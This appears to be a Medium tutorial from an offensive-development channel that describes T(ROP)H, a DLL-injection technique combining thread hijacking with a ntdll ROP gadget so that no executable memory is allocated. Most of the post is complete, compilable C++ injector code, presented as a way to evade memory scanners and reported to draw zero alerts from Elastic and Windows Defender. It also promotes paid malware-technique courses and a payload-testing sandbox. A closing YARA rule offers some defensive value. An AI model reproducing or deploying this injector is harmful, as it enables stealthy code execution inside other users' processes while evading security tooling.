June 11, 2026
DLL Injection via Thread Hijacking Without Executable Memory
Welcome to this new Medium post. Today we cover a technique that combines thread hijacking with Return-Oriented Programming (ROP) to inject…
S12 - 0x12Dark Development
6 min read
Welcome to this new Medium post. Today we cover a technique that combines thread hijacking with Return-Oriented Programming (ROP) to inject a DLL into a remote process without allocating executable memory
The technique comes from this post:
T(ROP)H: Thread Hijacking with ROP How to use ROP to inject a DLL into a remote thread
Courses: Learn how offensive development works on Windows OS from beginner to advanced taking our courses, all explained in C++.
All Courses Learn how real Windows offensive development works
Technique Database: Access 70+ real offensive techniques with weekly updates, complete with code, PoCs, and AV scan results:
Malware Techniques Database Explore an ever-growing collection of techniques
Modules: Dive deep into essential offensive topics with our modular text-training program! Get a new module every 14 days. Start at just $1.99 per module, or unlock lifetime access to all modules for $100.
0x12 Dark Development Learn the best offensive techniques for Windows OS, with content ranging from beginner to advanced levels. All…
Introduction
Traditional DLL injection via thread hijacking works by allocating RWX memory in a remote process, writing shellcode there, and redirecting a thread to execute it. The problem is that allocating private memory with execute permissions is a well-known IOC that memory scanners like Moneta and pe-sieve detect
T(ROP)H (Thread ROP Hijacking) solves this by using a small ROP chain to pass arguments to LoadLibraryA without needing executable memory. Instead of writing shellcode, we write only the DLL path, which is data, not code, and use a pop rcx ; ret gadget from ntdll.dll to load it into the right register before calling LoadLibraryA.
- Difficulty Level: Intermediate
- Key APIs used:
OpenProcess,OpenThread,VirtualAllocEx,WriteProcessMemory,GetThreadContext,SetThreadContext,SuspendThread,ResumeThread - Key concept: ROP gadget from
ntdll.dllto control RCX without allocating executable memory
Methodology
To inject a DLL into a remote process without RWX memory, we follow these steps:
- Find the target process and thread: We locate
notepad.exeby name and get the ID of its first thread. We need a thread to hijack - Open handles: We open a handle to the process with
PROCESS_ALL_ACCESSand a handle to the thread withTHREAD_ALL_ACCESS - Write the DLL path into remote memory (RW only): We allocate a small
PAGE_READWRITEregion in the remote process and write the DLL path there. This is data, not code no execute permissions - Find the gadget: We scan the
.textsection ofntdll.dll(already loaded in every process) for the byte sequence0x59 0xC3(pop rcx ; ret). This gadget will load our DLL path address into RCX - Get the thread context: We suspend the thread and call
GetThreadContextto read its current RIP and RSP values - Build and write the ROP chain: We write three values onto the thread stack:
remoteDllPath: consumed bypop rcx, loads the DLL path into RCXLoadLibraryA:consumed byret, jumps to LoadLibraryA with RCX already setExitThread:return address for when LoadLibraryA finishes
- Redirect execution: We set RIP to the gadget address and RSP to our chain on the stack, then apply the context with
SetThreadContext - Resume the thread: The thread executes the gadget, loads RCX, jumps to
LoadLibraryA, and our DLL gets loaded
Thread context modified:
RIP → [pop rcx ; ret gadget in ntdll]
RSP → [our chain on thread stack]
Stack layout:
[RSP+0] = remoteDllPath ← pop rcx loads this into RCX
[RSP+8] = LoadLibraryA ← ret jumps here (RCX already set)
[RSP+16] = ExitThread ← clean thread exit after DLL loadsThread context modified:
RIP → [pop rcx ; ret gadget in ntdll]
RSP → [our chain on thread stack]
Stack layout:
[RSP+0] = remoteDllPath ← pop rcx loads this into RCX
[RSP+8] = LoadLibraryA ← ret jumps here (RCX already set)
[RSP+16] = ExitThread ← clean thread exit after DLL loadsImplementation
Finding the process and thread
We use CreateToolhelp32Snapshot to enumerate running processes and find notepad.exe by name. Then we enumerate threads to find one belonging to that process
DWORD FindPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
DWORD FindThreadID(DWORD pid) {
DWORD tid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tid = te.th32ThreadID;
break;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return tid;
}DWORD FindPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
DWORD FindThreadID(DWORD pid) {
DWORD tid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
tid = te.th32ThreadID;
break;
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return tid;
}Finding the ROP gadget
We scan the .text section of ntdll.dll at runtime for the byte sequence { 0x59, 0xC3 } (pop rcx ; ret). Because ntdll.dll is already loaded in our process at the same base address as in the target process, the gadget address is valid for both
LPVOID FindGadget() {
BYTE gadget[] = { 0x59, 0xC3 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
DWORD size = pSec[i].Misc.VirtualSize;
for (DWORD j = 0; j < size - 2; j++) {
if (memcmp(base + j, gadget, sizeof(gadget)) == 0) {
return base + j;
}
}
}
}
return nullptr;
}LPVOID FindGadget() {
BYTE gadget[] = { 0x59, 0xC3 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
DWORD size = pSec[i].Misc.VirtualSize;
for (DWORD j = 0; j < size - 2; j++) {
if (memcmp(base + j, gadget, sizeof(gadget)) == 0) {
return base + j;
}
}
}
}
return nullptr;
}Building and writing the ROP chain
We suspend the target thread, read its context, and write three values onto its stack. We subtract 0x100 from RSP to avoid overwriting the current stack frame. Then we redirect RIP to our gadget and apply the new context
SuspendThread(hThread);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
ULONG_PTR chain[3] = {
(ULONG_PTR)remoteDllPath, // pop rcx → RCX = DLL path
(ULONG_PTR)loadLibraryAddr, // ret → jump to LoadLibraryA
(ULONG_PTR)exitThreadAddr, // return address → clean exit
};
ctx.Rsp -= 0x100;
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
ctx.Rip = (ULONG_PTR)gadgetAddr;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);SuspendThread(hThread);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
ULONG_PTR chain[3] = {
(ULONG_PTR)remoteDllPath, // pop rcx → RCX = DLL path
(ULONG_PTR)loadLibraryAddr, // ret → jump to LoadLibraryA
(ULONG_PTR)exitThreadAddr, // return address → clean exit
};
ctx.Rsp -= 0x100;
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
ctx.Rip = (ULONG_PTR)gadgetAddr;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);Code
#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
DWORD FindPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
DWORD FindThreadID(DWORD pid) {
DWORD tid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; }
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return tid;
}
LPVOID FindGadget() {
BYTE gadget[] = { 0x59, 0xC3 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
DWORD size = pSec[i].Misc.VirtualSize;
for (DWORD j = 0; j < size - 2; j++) {
if (memcmp(base + j, gadget, sizeof(gadget)) == 0) return base + j;
}
}
}
return nullptr;
}
int main() {
const char* targetProc = "notepad.exe";
const char* dllPath = "C:\\path\\to\\your\\DllDumb.dll";
DWORD pid = FindPID(targetProc);
if (!pid) { std::cerr << "[-] Process not found\n"; return 1; }
std::cout << "[+] PID: " << pid << "\n";
DWORD tid = FindThreadID(pid);
if (!tid) { std::cerr << "[-] Thread not found\n"; return 1; }
std::cout << "[+] TID: " << tid << "\n";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
if (!hProcess || !hThread) { std::cerr << "[-] Failed to open handles\n"; return 1; }
SIZE_T dllPathLen = strlen(dllPath) + 1;
LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathLen, NULL);
std::cout << "[+] DLL path at: " << remoteDllPath << "\n";
LPVOID gadgetAddr = FindGadget();
LPVOID loadLibraryAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
LPVOID exitThreadAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitThread");
std::cout << "[+] Gadget: " << gadgetAddr << "\n";
std::cout << "[+] LoadLibraryA: " << loadLibraryAddr << "\n";
SuspendThread(hThread);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
std::cout << "[+] Original RIP: 0x" << std::hex << ctx.Rip << "\n";
ULONG_PTR chain[3] = {
(ULONG_PTR)remoteDllPath,
(ULONG_PTR)loadLibraryAddr,
(ULONG_PTR)exitThreadAddr,
};
ctx.Rsp -= 0x100;
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
ctx.Rip = (ULONG_PTR)gadgetAddr;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
std::cout << "[+] Thread resumed — DLL loading\n";
Sleep(2000);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
DWORD FindPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return pid;
}
DWORD FindThreadID(DWORD pid) {
DWORD tid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; }
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return tid;
}
LPVOID FindGadget() {
BYTE gadget[] = { 0x59, 0xC3 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (memcmp(pSec[i].Name, ".text", 5) == 0) {
BYTE* base = (BYTE*)hNtdll + pSec[i].VirtualAddress;
DWORD size = pSec[i].Misc.VirtualSize;
for (DWORD j = 0; j < size - 2; j++) {
if (memcmp(base + j, gadget, sizeof(gadget)) == 0) return base + j;
}
}
}
return nullptr;
}
int main() {
const char* targetProc = "notepad.exe";
const char* dllPath = "C:\\path\\to\\your\\DllDumb.dll";
DWORD pid = FindPID(targetProc);
if (!pid) { std::cerr << "[-] Process not found\n"; return 1; }
std::cout << "[+] PID: " << pid << "\n";
DWORD tid = FindThreadID(pid);
if (!tid) { std::cerr << "[-] Thread not found\n"; return 1; }
std::cout << "[+] TID: " << tid << "\n";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
if (!hProcess || !hThread) { std::cerr << "[-] Failed to open handles\n"; return 1; }
SIZE_T dllPathLen = strlen(dllPath) + 1;
LPVOID remoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteDllPath, dllPath, dllPathLen, NULL);
std::cout << "[+] DLL path at: " << remoteDllPath << "\n";
LPVOID gadgetAddr = FindGadget();
LPVOID loadLibraryAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
LPVOID exitThreadAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "ExitThread");
std::cout << "[+] Gadget: " << gadgetAddr << "\n";
std::cout << "[+] LoadLibraryA: " << loadLibraryAddr << "\n";
SuspendThread(hThread);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
std::cout << "[+] Original RIP: 0x" << std::hex << ctx.Rip << "\n";
ULONG_PTR chain[3] = {
(ULONG_PTR)remoteDllPath,
(ULONG_PTR)loadLibraryAddr,
(ULONG_PTR)exitThreadAddr,
};
ctx.Rsp -= 0x100;
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, chain, sizeof(chain), NULL);
ctx.Rip = (ULONG_PTR)gadgetAddr;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
std::cout << "[+] Thread resumed — DLL loading\n";
Sleep(2000);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}Proof of Concept
Detection
0x12DarkSandbox
Test your own payloads against the same stack with a free scan on sign up, or go deeper with a scan pack or monthly plan
Upload & Scan Upload malware samples for parallel analysis across isolated Windows VMs with multi-engine AV scanning
To test in the sandbox we use this parameters:
const char* targetProc = "explorer.exe";
const char* dllPath = "C:\\Windows\\System32\\winmm.dll";const char* targetProc = "explorer.exe";
const char* dllPath = "C:\\Windows\\System32\\winmm.dll";Static:
Kleenscan:
And zero alerts in Elastic either Windows Defender:
YARA
Here a YARA rule to detect this technique:
rule TROPH_DLL_Injection_ROP_Thread_Hijacking
{
meta:
description = "Detects ROP-based DLL injection via thread context hijacking"
author = "0x12 Dark Development"
reference = "https://medium.com/@s12deff"
strings:
// SuspendThread + GetThreadContext pattern
$api1 = "SuspendThread" ascii wide
$api2 = "GetThreadContext" ascii wide
$api3 = "SetThreadContext" ascii wide
$api4 = "LoadLibraryA" ascii wide
// pop rcx ; ret gadget bytes
$gadget = { 59 C3 }
// WriteProcessMemory to thread stack
$api5 = "WriteProcessMemory" ascii wide
condition:
uint16(0) == 0x5A4D and
all of ($api*) and
$gadget
}rule TROPH_DLL_Injection_ROP_Thread_Hijacking
{
meta:
description = "Detects ROP-based DLL injection via thread context hijacking"
author = "0x12 Dark Development"
reference = "https://medium.com/@s12deff"
strings:
// SuspendThread + GetThreadContext pattern
$api1 = "SuspendThread" ascii wide
$api2 = "GetThreadContext" ascii wide
$api3 = "SetThreadContext" ascii wide
$api4 = "LoadLibraryA" ascii wide
// pop rcx ; ret gadget bytes
$gadget = { 59 C3 }
// WriteProcessMemory to thread stack
$api5 = "WriteProcessMemory" ascii wide
condition:
uint16(0) == 0x5A4D and
all of ($api*) and
$gadget
}Here you have my collection of YARA rules:
GitHub — S12cybersecurity/YaraRules: Collection of interesting Yara Rules Collection of interesting Yara Rules. Contribute to S12cybersecurity/YaraRules development by creating an account on…
Conclusions
T(ROP)H demonstrates that you do not need executable memory to inject a DLL into a remote process. By using a single pop rcx ; ret gadget from ntdll.dll, we solve the calling convention problem that makes traditional thread hijacking require RWX memory
📌 Follow me: YouTube | 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter
S12.